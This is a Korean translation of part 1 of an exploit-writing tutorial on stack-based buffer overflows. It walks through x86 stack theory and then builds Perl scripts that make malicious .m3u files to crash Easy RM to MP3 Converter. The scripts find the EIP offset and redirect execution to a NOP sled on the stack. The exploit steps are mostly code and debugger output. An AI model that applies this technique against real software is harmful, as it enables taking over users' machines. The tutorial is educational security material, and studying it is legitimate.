'Stack based overflows'에 해당되는 글 1건

  1. 2012.12.07 [Exploit] Exploit writing tutorial part 1 : Stack Based Overflows (번역)
0x07 Exploits2012.12.07 14:21

아래 글은 Corelan.be에 corelanc0d3라는 저자에 의해 포스팅 된 Exploit Development 관련 글을 번역한 것입니다.

최대한 본문의 내용을 훼손하지 않는 범위에서 정리하고자 했으나 의미가 상이한 부분이 있을 수 있으니 참고용으로만 사용하시고 자세한 내용은 원문의 내용을 참고하시기 바랍니다.

 

Exploit writing tutorial part 1 : Stack Based Overflows

지난 금요일(2009년 7월 17일) Crazy_Hacker라는 닉네임을 사용하는 사람이 packetstormsecurity.org에서 Easy RM to MP3 Conversion Utility(XP SP2 환경)의 취약점을 발표하였다. 해당 취약점 보고에는 PoC(Proof of concept : 개념증명코드) 취약점이 포함되어 있다.(하지만 XP SP3 영어 버젼의 Virtual PC에서는 동작하지 않았다.) 다른 취약점이 얼마 후에 발표 되었다.

PoC 코드를 복사하여 실행하면 동작하지 않는 것을 볼 수 있다.(운이 좋으면 동작할 수도 있다.) 하지만 취약점을 작성하는 과정에 공부를 한다거나 자신만의 취약점을 작성할 수도 있다.

질문 : 어떻게 취약점 작성자들은 취약점을 만들까? 실제로 동작할 것 같은 취약점을 어떤 과정을 통해 찾아낼까? 취약점 정보를 어떤 방법을 통하여 exploit으로 작성할 수 있을까?

오늘 이 취약점 보고와 exploit을 보았을 때 exploit 작성의 기본 과정을 설명하기에 충분히 좋은 예제라고 느꼈다. 이 exploit은 명확하고 간단하며 안정적으로 동작하는 스택 기반의 버퍼 오버플로우 기술에 대하여 설명할 수 있다고 생각되었다.

앞에서 언급된 취약점 보고에서 exploit이 포함되어 있지만 나는 Easy RM to MP3 conversion utility의 취약점을 예로 사용할 것이며, 공개된 exploit을 사용하지 않고 안정적으로 동작하는 exploit을 단계적으로 작성해 나갈 것이다.

계속 진행하기 전에 한가지만 확실히 하도록 한다. 이 문서는 오로지 교육목적으로 작성된 것이다. 여기 있는 정보를 바탕으로 악의적인 해킹을 한다거나 불법적인 목적으로 사용하는 우를 범하지 않았으면 한다. 나는 이 문서의 일부를 이용한다거나 불법적인 목적으로 사용하는 것에 대하여 책임을 지지 않을 것이다. 만약 동의하지 않는다면 당장 이 웹 사이트를 떠나길 바란다.

어쨋든 취약점 보고에서 얻을 수 있는 정보에는 취약점에 대한 기본적인 정보를 포함하고 있다. 이번 취약점 보고를 보면 "Easy RM to MP3 Converter version 2.7.3.700 universal buffer overflow exploit that creates a malicious .m3u file" 라는 것을 알 수 있다. 다른 말로 하면 악의적인 목적의 .m3u파일을 생성하고 프로그램이 해당 파일을 실행하고자 하면 exploit이 실행되는 것이다. 이런 취약점 보고서는 항상 자세하지는 않지만 대부분의 경우 대상 프로그램을 충돌을 하게 하거나 비정상적인 동작을 하게 만드는 정보를 얻을 수 있다.


Verify the bug

먼저 실제로 잘못된 형식의 m3u 파일을 열었을 때 해당 응용 프로그램이 충돌하는지 살펴보자. (또는 특정 데이터를 로드 시 응용 프로그램이 충돌하는지 스스로 찾아보자.)

취약한 버젼의 Easy RM to MP3를 복사 후 Windows XP 환경에 설치하도록 한다. 취약점 보고서에서는 XP SP2(영문판)에서 동작하는 것으로 설명이 되어 있지만 나는 XP SP3(영문판)을 사용할 것이다.

취약한 버젼의 Easy RM to MP3 프로그램은 원문 링크를 통해 다운로드 받을 수 있다.(로그인 필요)

오래된 버젼의 응용 프로그램은 oldapps.com 또는 oldversion.com, exploit-db.com 등에서 구할 수 있다.

아래 간단한 Perl Script를 이용하여 취약점에 대한 추가 정보를 얻을 수 있는 .m3u 파일을 생성할 것이다.

my $file= "crash.m3u";

my $junk= "\x41" x 10000;

open($FILE, ">$file");

print $FILE "$junk";

close($FILE);

print "m3u File Created Succesfully\n 

위 Perl Script를 실행하여 m3u 파일을 생성한다. 생성된 파일은 10000개의 A(\x41은 A의 16진법 표현이다.)로 채워져 있을 것이며 이제 m3u 파일을 Easy RM to MP3 프로그램으로 열어본다. 프로그램에서 에러가 발생하지만 에러는 정상적으로 다뤄지는 것으로 보이며 프로그램은 충돌하지 않는다.

스크립트를 20000개의 A를 생성하도록 수정하고 다시 실행해봐도 비슷한 증상을 보인다. 이번에는 30000개의 A를 생성하도록 스크립트를 생성한 뒤 실행해보면 프로그램이 죽는 것을 확인할 수 있다.

따라서 우리가 생성해 준 m3u 파일을 20000~30000개의 A로 채워주면 프로그램이 충돌한다는 것을 알 수 있다. 그렇다면 이 정보를 갖고 무엇을 할 수 있을까?


Verify the bug – and see if it could be interesting

모든 프로그램 충돌이 exploit이 생성 가능하다는 것을 의미하는 것은 아니다. 많은 경우에 응용 프로그램 충돌은 exploit 성공으로 이어지지 않지만 때로는 가능하다. "exploitation"은 본인이 작성하는 코드를 실행하는 경우와 같이 의도되지 않은 행위를 하게 만드는 것을 의미한다. 프로그램이 의도되지 않은 행위를 하게 만드는 가장 쉬운 방법은 응용 프로그램의 흐름을 컨트롤하는 것이다. 이것은 다음 실행할 명령어를 저장하고 있는 CPU 레지스터인 Instruction Pointer(또는 Program Counter)를 컨트롤함으로써 가능하다.

응용 프로그램이 파마미터와 함께 함수 호출 시 해당 함수로 이동 전에 현재 instruction pointer에 있는 값을 저장한다.(따라서 함수가 모두 수행된 뒤 어디로 리턴해야 하는지 알 수 있다.) 만약 저장된 instruction pointer를 변경할 수 있고, 직접 작성한 코드를 가르키게 할 수 있다면 프로그램의 흐름을 변경할 수 있고 다른 실행 결과를 얻을 수 있을 것이다. 프로그램 흐름을 변경한 뒤에 실행 대상이 되는 것은 주로 "shellcode"이다. 프로그램이 우리가 작성한 shellcode를 실행하게 하면 우리는 그것을 working exploit이라 한다. 대부분의 경우 프로그램의 흐름을 바꿀 수 있는 이 포인터는 EIP 레지스터를 의미한다. 해당 레지스터는 4 바이트이며, 이 4 바이트 값을 바꿀 수 있다면 프로그램을 장악할 수 있는 것이다.


Before we proceed – some theory

필요한 용어 몇 개를 정리하자

모든 윈도우 응용 프로그램은 메모리를 사용하며 프로세스 메모리는 크게 3개의 요소로 구성된다.

• 코드 세그먼트(code segment) : 프로세서가 실행할 명령어들이 저장된다. EIP는 다음 명령의 주소를 갖고 있게 된다.

• 데이터 세그먼트(data segment) : 변수 및 동적 할당 버퍼

• 스택 세그먼트(stack segment) : 함수에 전달되는 데이터나 인자 또는 변수가 저장되는 공간. 스택은 가상 메모리의 끝에서 시작되며 밑으로 자란다.(Top-down). PUSH 명령어는 스택의 최상위 주소에 어떤 값을 저장하며, POP 명령어는 스택에서 한 개의 값(4바이트)을 제거한 뒤 그 값을 레지스터에 저장한다.

스택 메모리에 직접적으로 접근하기 위해서는 스택의 최상위 주소를 가르키고 있는 ESP(Stack Pointer) 레지스터를 사용할 수 있다.

• push 한 뒤에 ESP는 push 하기 전보다 낮은 메모리 주소(메모리 주소는 스택에 push되는 데이터의 크기에 따라서 감소된다. 예를 들어 주소와 포인터의 경우 4바이트가 감소된다.) 를 가르킬 것이다. 메모리 주소의 감소는 스택에 데이터가 저장되기 전에 일어난다.(구현 방법에 따라 다를 수 있으며, ESP가 스택에 비어있는 다음 주소를 가르키고 있을 경우 메모리 주소 감소는 스택에 데이터를 push한 뒤 발생한다.)

• pop 연산 뒤에는 ESP는 pop 하기 전보다 높은 메모리 주소(주소나 포인터의 경우 4 바이트가 증가한다.)를 가르킨다. 메모리 주소 증가는 스택에서 데이터가 없어진 뒤 발생한다.

함수나 서브루틴에 진입 시 새로운 스택 프레임이 생성된다. 스택 프레임은 부모 함수(parent procedure)의 파라미터를 보관하거나 서브루틴 시 인자를 전달하는 역할을 한다. 현재 스택의 주소는 스택 포인터(ESP)를 통해서 접근할 수 있으며 현재 함수의 base는 베이스 포인터(EBP, 또는 frame pointer)에 저장된다.

CPU의 범용 레지스터(x86)의 종류는 다음과 같다.

• EAX : accumuldator - 연산 과정에서 사용되거나 함수 호출의 결과 값을 저장하는데 주로 사용된다. 기본 연산(덧셈, 뺄셈, 비교)시 이 범용 레지스터를 이용하게 된다.

• EBX : base - 범용적인 목적이 없는 레지스터로 데이터 저장에 사용될 수 있다.

• ECX : counter - 반복 연산에 주로 사용된다. ECX 값이 감소하면서 카운트하게 된다.

• EDX : data - EAX 레지스터의 확장 기능을 담당한다. 추가적인 데이터 저장이 필요한 보다 복잡한 연산(곱하기, 나누기)에 주로 사용된다.

• ESP : 스택 포인터

• EBP : 베이스 포인터

• ESI : source index - 입력 값의 위치를 저장

• EDI : destination index - 연산 결과의 값이 저장될 주소를 가르킴

• EIP : instruction pointer


Process Memory

응용 프로그램이 Win32 환경에서 실행될 경우 프로세스는 할당된 가상 메모리를 생성한다. 32bit 프로세스에서 주소 범위는 0x00000000에서 0xFFFFFFFF까지이며, 0x00000000에서 0x7FFFFFFF까지는 사용자 영역, 0x80000000부터 0xFFFFFFFF까지는 커널 영역으로 할당된다. 윈도우는 CPU가 세그멘테이션과 페이징을 사용하지 않고 직접적으로/동시에/선형적으로 메모리에 flat memory model을 사용한다.

커널 영역의 메모리는 OS에 의해서만 접근이 가능하다.

프로세스가 생성될 때 PEB(Process Environment Block)와 TEB(Thread Environment Block)가 생성된다.

PEB는 현재 프로세스의 사용자 영역의 파라미터를 포함하고 있다.

• 메인 실행 모듈의 위치

• 프로세스에 로드되는 DLL과 모듈에 대한 포인터

• 힙 메모리 정보에 대한 포인터

TEB는 쓰레드의 상태를 표시하며 다음과 같은 정보를 포함하고 있다.

• 메모리 상의 PEB의 위치

• 쓰레드가 소유한 스택의 위치

• SEH chain의 첫번째 엔트리의 포인터

프로세스 내부의 각 쓰레드는 하나의 TEB를 갖고 있다.

Win32 프로세스의 메모리 구조는 다음과 같다.

프로그램 이미지와 DLL의 text segment는 오직 프로그램 코드를 포함하므로 읽기전용 속성을 갖는다. 이는 사용자가 프로그램 코드를 변경하는 것을 방지한다. text segment는 고정된 크기를 갖는다. data segment는 지역 변수 및 전역 변수를 저장한다. data segment는 초기화된 전역 변수, 문자열, 다른 변수들에 의해서 사용되어 진다. data segment는 쓰기 가능하며 크기가 정해져 있다.

heap segment는 나머지 프로그램 변수에 의해 사용되어 진다. heap segment는 의도했던 것보다 커지거나 작아질 수 있다. heap의 모든 메모리 영역은 할당(allocator) 알고리즘에 의해 관리되어 진다. heap 메모리는 높은 주소로 증가한다.

DLL에서 코드와 import(DLL이나 다른 DLL 또는 프로그램에서 사용되는 함수 리스트), exports(다른 DLL의 프로그램에서 사용 가능한 함수)는 .text segment의 일부분이다.


The Stack

스택은 LIFO(Last In First Out) 데이터 구조를 갖는 프로세스 메모리의 일부분이다. 스택은 쓰레드별로 OS에 의해 할당된다. 쓰레드 종료시에 스택 또한 없어진다. 스택은 생성시에 크기가 정해지며 크기가 변하지 않는다. LIFO 구조와 스택 관리시 복잡한 구조나 메커니즘이 필요하지 않기 때문에 스택은 매우 빠르다. 다만 크기에 한계가 존재한다.

LIFO는 가장 최근에 할당된(PUSH 명령에 의해) 데이터가 가장 먼저 제거(POP 명령에 의해)된다는 의미이다.

스택이 생성될 경우 스택 포인터는 스택의 최상위를 가르킨다. 어떤 정보가 스택에 push될 경우 스택 포인터는 감소하게 된다. 따라서 본질적으로 스택은 낮은 주소로 자라게 된다.

스택은 지역 변수, 함수 호출과 같이 많은 시간 동안 저장할 필요가 없는 데이터들이 저장된다. 데이터가 스택에 추가될 경우 스택 포인터는 감소하게 되며 낮은 주소의 값을 가르키게 된다.

함수가 호출될 경우 함수의 파라미터는 스택에 push되며 EBP, EIP 레지스터의 값을 저장한다. 함수가 리턴할 경우 스택에 저장되었던 EIP 값을 참조하여 EIP 레지스터를 복구한다. 따라서 프로그램의 흐름이 복구될 수 있다.

스택의 동작에 대해서 아래 간단한 코드를 통해 살펴보자.

#include <string.h>

 

void do_something(char *Buffer)

{

char MyVar[128];

strcpy(MyVar, Buffer);

}

 

int main(int argc, char *argv[])

{

do_something(argv[1]);

}

※ 본 예제에서는 DEV-C++4.9.9.2를 이용하여 컴파일

이 응용 프로그램은 argv[1]라는 하나의 인자를 받은 뒤 do_something() 함수로 해당 인자를 넘긴다. 이 함수에서 인자는 최대값 128 바이트를 갖는 지역 변수로 복사된다. 만약 인자가 127 바이트보다 클 경우 버퍼는 overflow될 것이다.

main()함수 내에서 do_something(param1)함수가 호출될 경우 다음과 같은 일이 발생한다.

부모(상위) 스택의 상단에 새로운 스택 프래임이 생성된다. 스택 포인터(ESP)는 새로 생성된 스택의 최상단을 가르키게 된다. 이것이 "top of the stack"이다.

do_something() 함수가 호출되기 전에 argument(s)를 가르키는 포인터는 스택에 push된다. 현재 예에서는 argv[1]을 가르키는 포인터가 된다.

MOV 명령 후의 Stack 모습

push 연산의 결과로 ESP는 4바이트 감소하게 되며 포인터는 낮은 메모리 주소를 가르키게 된다.

ESP는 0022FF5C를 가르키고 있다. 이 주소에서 파라미터(AAAAAAAAAA)를 가르키는 포인터 뒤에 EIP(함수 종료 후 돌아갈) 값이 저장된 것을 볼 수 있다. 이 포인터는 CALL 명령이 실행되기 전에 스택에 저장되어 진다.

다음으로 호출되어진 do_something() 함수가 실행된다. 기본적으로 프래임 포인터(EBP)를 스택에 저장한다. 따라서 함수가 리턴될 때 스택 프레임이 복구될 수 있는 것이다. 프래임 포인터를 저장하기 위한 명령은 "push ebp"이다. ESP는 4 바이트 감소되어진다.

push ebp 이후에 현재 스택 포인터(ESP)는 EBP에 저장되어 진다. 이 시점에 ESP와 EBP는 현재 스택의 최상위 주소를 가르키게 된다. 이 시점부터 스택은 ESP(항상 스택의 최상위 주소)와 EBP(현재 스택의 기준 주소)에 의해서 참조되며, 프로그램은 EBP와 오프셋을 이용하여 변수를 참조할 수 있다.

※ 대부분의 함수는 PUSH EBP, MOV EBP, ESP 순서로 시작된다.

다른 4바이를 스택에 push할 경우 ESP는 다시 감소할 것이며 EBP 동일한 주소를 가르킬 것이다.(변경이 없다.) 따라서 EBP-0x8 을 이용하여 push한 4바이트를 참조할 수 있다.

다음 단계로 MyVar(128바이트) 변수를 위해 스택 공간이 선언되고 할당되는지 확인해보자. 데이터를 저장하기 위해서는 스택에 특정 공간이 할당되어야 한다. 이 경우 ESP는 특정 바이트만큼 감소할 것이다. 할당되는 바이트의 수는 컴파일러의 메모리 할당 루틴에 의해 결정되기 때문에 128바이트보다 클 것이다. Dev-C++의 경우에는 0x98(152바이트)가 할당된다. 따라서 SUB ESP, 0x98 명령을 확인할 수 있을 것이다.

디스어셈블된 함수는 다음과 같다.

00401290 /$ 55 PUSH EBP

00401291 |. 89E5 MOV EBP,ESP

00401293 |. 81EC 98000000 SUB ESP,98

00401299 |. 8B45 08 MOV EAX,[ARG.1] ; |

0040129C |. 894424 04 MOV DWORD PTR SS:[ESP+4],EAX ; |

004012A0 |. 8D85 78FFFFFF LEA EAX,[LOCAL.34] ; |

004012A6 |. 890424 MOV DWORD PTR SS:[ESP],EAX ; |

004012A9 |. E8 72050000 CALL <JMP.&msvcrt.strcpy> ; \strcpy

004012AE |. C9 LEAVE

004012AF \. C3 RETN

(코드에 대해서 너무 걱정하지 말길. 당신은 함수 프롤로그(function prolog : PUSH EBP, MOV EBP, ESP)를 확인할 수 있을 것이며, MyVar 변수가 할당(SUB ESP, 98)되는 것을 확인할 수 있을 것이다. 또한 몇몇의 MOV, LEA 함수(strcpy 함수를 위한 인자 기본 설정을 위해)를 확인할 수 있다. argv[1]를 가르키는 포인터를 확인할 수 있으며, 데이터를 MyVar 변수에 할당하는 것을 확인할 수 있다.

이 함수에 strcpy 함수가 없을 경우 함수는 종료될 것이며 스택을 복구할 것이다. 기본적으로 ESP 값을 저장된 EIP 뒤에 있는 주소로 변경하고 RET 명령을 실행한다. RET 명령이 실행될 경우 스택에 저장된 EIP를 꺼낸 뒤 해당 주소로 분기한다.(따라서 do_something() 함수가 호출된 뒤의 main 함수로 복귀할 수 있다.) 위의 과정은 LEAVE 명령어를 통해 실행된다.(frame pointer와 EIP를 복구한다.)

위 예에서는 strcpy() 함수가 존재한다.,

strcpy 함수는 [Buffer]를 가르키는 주소에서 데이터를 읽어서 <MyVar 주소>에 저장한다. 데이터는 null 바이트(string terminator)가 나올때까지 읽어진다. 데이터를 복사하는 동안 ESP는 현재 값을 유지한다. strcpy() 함수는 데이터를 스택에 복사하기 위해서 PUSH 명령어를 사용하지 않는다. 기본적으로 바이트를 읽어 스택에 쓰게되며 인덱스(예를 들어 ESP, ESP+1, ESP+2...)를 이용한다. 따라서 복사 후에 ESP는 복사한 스트링의 처음을 가르키게 된다.

이것은 [Buffer]에 있는 데이터가 0x98 바이트보다 클 경우 strcpy() 함수는 저장되어 있는 EBP와 EIP 값을 덮어쓸 수 있다는 것을 의미한다. 결국에는 source(복사 대상)에서 null 바이트에 도달할 때까지 읽기 & 쓰기 연산을 반복하는 것이다.

ESP는 여전히 문자열의 시작을 가르키고 있다. strcpy() 함수는 아무 이상도 없는 것처럼 연산을 완료하게 된다. strcpy() 호출 뒤에 함수는 종료될 것이며 이제부터 흥미로운 부분이 시작된다. 함수 복구를 위한 부분은 변조되어 있으며 기본적으로 ESP를 스택에 저장된 EIP의 다음 값으로 복귀할 것이며 RET 명령이 실행될 것이다. 포인터 값(위의 예에서는 overwrite된 AAAA 또는 0x41414141 값이 된다.)을 복구한 뒤 해당 주소로 점프하게 될 것이다.

따라서 EIP 값을 컨트롤 할 수 있다.

정리하자면 EIP를 컨트롤 함으로써 정상 흐름(현재 함수가 호출된 후의 명령)으로 돌아가기 위한 return 주소를 변경하게 되는 것이다 물론 버퍼 오버플로우를 이용하여 return 주소를 변경할 경우 더 이상 "정상적인 흐름"은 아닐 것이다.

MyVar, EBP, EIP 버퍼를 overwrite 할 수 있다고 가정하고 스택에 저장된 EIP의 앞, 뒤 주소를 작성한 코드(위의 예에서는 A)로 overwrite 가능할 경우를 생각해 보자. 버퍼를 전송한 뒤에([MyVar][EBP]EIP][your code]), ESP는 [your code] 시작 주소를 가르킬 것이며 EIP를 your code 주소로 변경할 경우 프로그램 흐름을 제어할 수 있게 된다..

※ 스택에 있는 버퍼가 overflow될 경우를 "stack based overflow" 또는 "stack buffer overflow"라고 한다. 스택 프레임 이전의 값을 overwrite할 경우는 "stack overflow"라고 한다. 이 둘은 분명 틀린 것이며 혼동해서는 안된다.


The Debugger

스택의 상태를 보기 위해서(또한 EIP, ESP 등의 레지스터의 값을 보기 위해) 디버거를 응용 프로그램에 연결(hook up)해야 한다. 그래서 우리는 프로그램 실행 시(또는 종료될 경우) 어떤 일이 일어나는 지 확인이 가능하다.

이런 목적을 위한 디버거는 다양하며 WinDbgImmunity's Debugger가 많이 사용된다.

Windbg를 사용해 보자. Windbg 인스톨 후 "windbg -I" 명령어를 이용하여 "post-mortem" 디버거로 등록한다.

또한 아래 레지스트리와 값을 설정하여 "xxxx has encountered a problem and needs to close" 팝업을 비활성화 할 수 있다.

HKLM\Software\Microsoft\Windows NT\CurrentVersion\AeDebug\Auto : 0으로 설정

심볼 파일 생성 및 경로 지정을 위해 폴더(ex. C:\windbgsymbols)를 생성한 뒤 Windbg에서 "File" -> "Symbol File Path"에 아래와 같이 입력해 준다.

※ SRV*C:\windbgsymbols*http://msdl.microsoft.com/download/symbols

Immunity Debugger 사용을 원할 경우 설치한 뒤에 "Options" - "Just in-time debugging" - " Make Immunity Debugger just in-time debugger"를 선택해 준다.

그럼 시작해보자.

Easy RM to MP3를 실행한 뒤 crash.m3u 파일을 열어보자. 프로그램은 충돌할 것이며 위에서 설정한 디버거가 attach될 것이다.

좌측 상단에 어셈블리 명령어들과 opcode를 확인할 수 있는 CPU view가 위치한다.(현재 해당 윈도우는 비어있는 상태이다. EIP가 41414141을 가르키고 있으며 유효하지 않은 주소이기 때문이다.) 우측 상단에는 register를 확인할 수 있다. 좌측 하단의 경우 위의 예에서는 00446000 메모리 덤프를 확인할 수 있다. 우측 하단의 경우 스택의 내용을 확인할 수 있다.

위 두 개의 경우 모두 EIP는 AAAA의 16진수 표현인 41414141 값을 갖고 있다.

※ intel x86 시스템에서 주소값은 little-endian 방식으로 저장된다. ABCD를 전송할 경우 EIP는 44434241(DCBA)를 가르키게 될 것이다.

따라서 위의 경우 m3u 파일의 일부분이 버퍼로 읽혀 졌으며 버퍼 오버플로우가 발생한 것처럼 보인다. 버퍼를 오버플로우하여 instruction pointer 값을 변경할 수 있음을 알 수 있으며 EIP를 원하는 값으로 변경 가능할 것이다.

우리가 생성한 파일의 모두 A라는 값을 갖고 있으므로 EIP를 변조하기 위해 버퍼의 크기가 얼마가 필요한지 알기 힘들다. 다른 말로 하자면 우리가 원하는 코드(evil code) 실행을 위해서 return address를 overwrite하는 버퍼(or payload)의 정확한 위치를 알아야 한다. 이 위치는 주로 "offset"으로 명명된다.


Determining the buffer size to write exactly into EIP

우리는 버퍼의 시작으로 부터 20000 ~ 30000 사이에 EIP를 overwrite하는 값이 있다는 사실을 알고 있다. 20000 ~ 30000 사이의 모든 값을 EIP를 overwrite 하기를 원하는 값으로 설정해도 exploit이 성공하겠지만 정확한 위치를 찾는 것이 더 멋져(nice) 보인다.

펄 스크립트를 조금 수정해서 범위를 좁혀 보자.

범위를 반으로 줄여보자. 25000개의 A와 5000개의 B 값을 갖는 m3u 파일을 생성해 보자. EIP가 41414141(AAAA) 값을 갖을 경우 EIP는 20000 ~ 25000 사이의 값에 의해 변경되는 것이며 42424242(BBBB) 값을 갖을 경우 25000 ~ 30000 사이의 값에 의해 변경되는 것이다.

my $file= "crash25000.m3u";

my $junk= "\x41" x 25000;

my $junk2= "\x42" x 5000;

open($FILE, ">$file");

print $FILE $junk.$junk2;

close($FILE);

print "m3u File Created Succesfully\n";

파일을 생성한 뒤 crash25000.m3u 파일을 Easy RM to MP3를 이용하여 열어보자.

실행 결과 EIP는 42424242(BBBB)인 것을 알 수 있다. 따라서 EIP의 오프셋은 25000 ~ 30000 사이에 존재하는 것을 알 수 있다. 이것은 또한 ESP가 가르키는 메모리에서 남은 B를 확인할 수 있다는 것을 의미힌다.(EIP는 30000개의 문자 버퍼가 끝나기 전에 overwrite될 것이다.)

Buffer :

[ 5000 B's ]

[AAAAAAAAAAAAAAAAAAAAAABBBBBBBBBBBB][BBBB][BBBBBBBBB......]

25000 A's EIP ESP points here

ESP의 값을 보면 다음과 같다.

EIP를 BBBB로 overwrite했다는 것과 ESP에 있는 버퍼를 볼 수 있다는 것은 매우 유용한 정보이다. 스크립트를 수정하기 전에 EIP를 overwrite하는 정확한 위치를 알아야 한다. 정확한 위치를 찾기 위해 Metasploit을 이용하자.

Metasploit은 offset 계산을 위해 매우 유용한 툴이다. Metasploit을 이용하여 유일한 패턴 생성이 가능하며 해당 패턴을 이용하여 EIP를 overwrite하는 정확한 위치를 찾을 수 있다.

metsaploit의 tool 폴더를 확인하면 pattern_create.rb 파일을 찾을 수 있다. 5000개의 문자로 된 패턴 생성 후 파일로 저장하다.

root@bt:/opt/framework3/msf3/tools# ./pattern_create.rb

Usage: pattern_create.rb length [set a] [set b] [set c]

root@bt:/opt/framework3/msf3/tools# ./pattern_create.rb 5000

Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac......

펄 스크립트의 $junk2 값을 생성한 패턴으로 수정한다.

my $file= "crash25000.m3u";

my $junk= "\x41" x 25000;

my $junk2= "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2A....";

open($FILE, ">$file");

print $FILE $junk.$junk2;

close($FILE);

print "m3u File Created Succesfully\n";

m3u 파일을 생성한 뒤 Easy RM to MP3를 이용하여 오픈한다. 프로그램이 죽을 때까지 기다린 뒤 EIP 값을 확인해 본다.

EIP의 값이 0x6b42356b 인 것을 확인할 수 있다.(little endian이 적용되므로 EIP 값은 6B 35 42 6B = k5Bk이다.)

EIP 값을 쓰기 전의 buffer 길이를 metasploit 툴을 이용하여 계산한다.

root@bt:/opt/framework3/msf3/tools# ./pattern_offset.rb 0x6b42356b 5000

1096

root@bt:/opt/framework3/msf3/tools#

1096이 EIP를 overwrite하기 위한 버퍼의 길이인 것을 알 수 있다. 따라서 25000+1096개의 A 뒤에 4개의 B(42 42 42 42)를 포함한 파일을 생성하면 EIP의 값은 42 42 42 42가 될 것이다. ESP는 우리가 생성한 버퍼를 가르키므로 EIP를 overwirte하는 값 뒤에 C값을 추가하자.

m3u 파일을 생성하는 펄 스크립트를 아래와 같이 수정한다.

my $file= "eipcrash.m3u";

my $junk= "\x41" x 26096;

my $eip= "BBBB";

my $espdata= "C" x 1000;

open($FILE, ">$file");

print $FILE $junk.$eip.$espdata;

close($FILE);

print "m3u File Created Succesfully\n";

eipcrash.m3u 파일 생성 후 Easy RM to MP3로 오픈 한 뒤 EIP와 ESP의 값을 확인해 보자

EIP의 값이 BBBB를 갖고 있는 것을 확인할 수 있다. 따라서 이제 EIP를 제어할 수 있으며 ESP는 우리가 생성한 버퍼(C)를 가르키고 있는 것을 알 수 있다.

※ 위의 예에서 offset의 값은 본인이 테스트한 시스템에서 생성된 결과이다. 위의 예를 본인의 시스템에서 실행해 볼 경우 다른 offset 주소가 틀릴 수도 있다. offset 값은 m3u 파일의 경로와 연관이 있기 때문에 offset 값이나 소스코드를 그냥 복사해서 사용하지 않길 바란다. overflow를 일으키는 취약한 버퍼에는 m3u 파일의 경로를 포함한다. 따라서 경로가 본인의 것보다 길거나 짧은 경우 offset 값은 상이할 것이다.

우리가 생성한 exploit buffer는 다음과 같다.

Buffer

EBP

EIP

ESP point here

A(x 26092)

AAAA

BBBB

CCCCCC

41414141.............41

41414141

42424242

 

26092 바이트

4 바이트

4 바이트

1000 바이트?

 

Find memory space to host the shellcode

이제 EIP를 제어할 수 있게 되었으므로 EIP의 값을 우리가 작성한 코드(shellcode)가 저장된 곳을 향하게 해야 한다. 그렇다면 코드가 저장될 공간의 주소와 어떻게 해당 shellcode를 채울지 그리고 EIP를 해당 주소로 분기시킬 수 있을까?

프로그램의 오류를 발생시키기 위해 우리는 메모리에 26096개의 A를 write하였으며 저장된 EIP 값을 새로운 값으로 변경하였으며 C로 구성된 값들을 write하였다.

프로그램의 오류가 발생했을 때 모든 레지스터의 값을 살펴보자(d esp, d eax, d ebx, d ebp ..) 레지스터의 값 중 하나라도 해당 버퍼(A 또는 C로 채워진)를 가르킬 경우 해당 버퍼를 shellcode로 교체하고 분기하는 것이 가능할 것이다. 우리의 예에서 ESP가 C로 채워진 공간을 가르키는 것을 볼 수 있었다. 따라서 우리의 C로 채워진 값을 shellcode로 교체한 뒤 EIP를 ESP로 분기하게 하는 것을 생각해 볼 수 있다.

C가 저장된 주소를 알았더라도 C가 저장된 공간의 첫 주소(ESP가 가르키는 000ff730)라고 확신할 수 없다.

펄 스크립트를 C를 대신하여 특정 패턴의 문자열로 채우도록 변경해보자.(본인의 경우 144개의 문자를 사용했으나 그 이상도 이하도 상관없다.)

my $file= "test1.m3u";

my $junk= "A" x 26096;

my $eip = "BBBB";

my $shellcode = "1ABCDEFGHIJK2ABCDEFGHIJK3ABCDEFGHIJK4ABCDEFGHIJK" .

"5ABCDEFGHIJK6ABCDEFGHIJK" .

"7ABCDEFGHIJK8ABCDEFGHIJK" .

"9ABCDEFGHIJKAABCDEFGHIJK".

"BABCDEFGHIJKCABCDEFGHIJK";

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created successfully\n";

파일을 생성한 뒤 오픈하면 프로그램이 종료될 것이다. ESP가 가르키는 메모리 덤프를 보자.

2가지 흥미로운 점을 발견할 수 있다.

• ESP는 우리가 생성한 패턴의 첫번째 문자가 아닌 5번째 문자에서 시작된다. 왜 그런지는 다음 포스트에서 확인할 수 있다. : /index.php/forum/writing-exploits/question-about-esp-in-tutorial-pt1

• 패턴 문자열 뒤에 'A' 문자열을 볼 수 있다. 이 A는 첫번째 버퍼(26101개의 A)에 속한다. 따라서 우리는 쉘코드를 버퍼의 첫번째 부분(RET를 덮어씌우기 전)에 위치시킬 수 있다.

이번에는 패턴의 앞에 4개의 문자를 추가한 뒤 다시 테스트 해보자. 잘될 경우 ESP는 우리가 생성한 패턴의 가장 앞 부분을 가르킬 것이다.

프로그램을 실행한 뒤 ESP를 다시 살펴보자.

훨씬 더 좋은 상황이 되었다.

이제 우리는 아래와 같은 것을 얻었다.

• EIP를 컨트롤 할 수 있다.

• 우리의 코드를 쓸 수 있는 공간을 알고 있다.(최소 144 바이트의 크기이며 좀 더 긴 패턴으로 테스트를 할 경우 더 큰 공간을 찾을 수 있을 것이다. 실은 큰 공간 사용이 가능하다.)

• 레지스터가 우리가 작성한 코드를 직접 가르키고 있다.(0x000ff730 주소)

이제 우리는 다음과 같은 것이 필요하다.

• 실제 shellcode를 작성한다.

• EIP 레지스터를 shellcode의 시작 지점으로 분기하도록 만든다. 이는 EIP를 0x000ff730으로 덮어씌움으로써 가능하다.

다음과 같은 테스트를 해보자. 먼저 26096개의 A를 작성한 뒤 EIP를 000ff730으로 덮어쓴다. 다음 25개의 NOP + break를 위한 코드 + 추가 NOP로 버퍼를 만든다.

잘된다면 EIP는 NOP들이 있는 000ff730으로 분기할 것이다. 코드는 break 코드를 만날때까지 실행될 것이다.

my $file= "test1.m3u";

my $junk= "A" x 26096;

my $eip = pack('V',0x000ff730);

 

my $shellcode = "\x90" x 25;

 

$shellcode = $shellcode."\xcc";

$shellcode = $shellcode."\x90" x 25;

 

open($FILE,">$file");

print $FILE $junk.$eip.$shellcode;

close($FILE);

print "m3u File Created successfully\n";

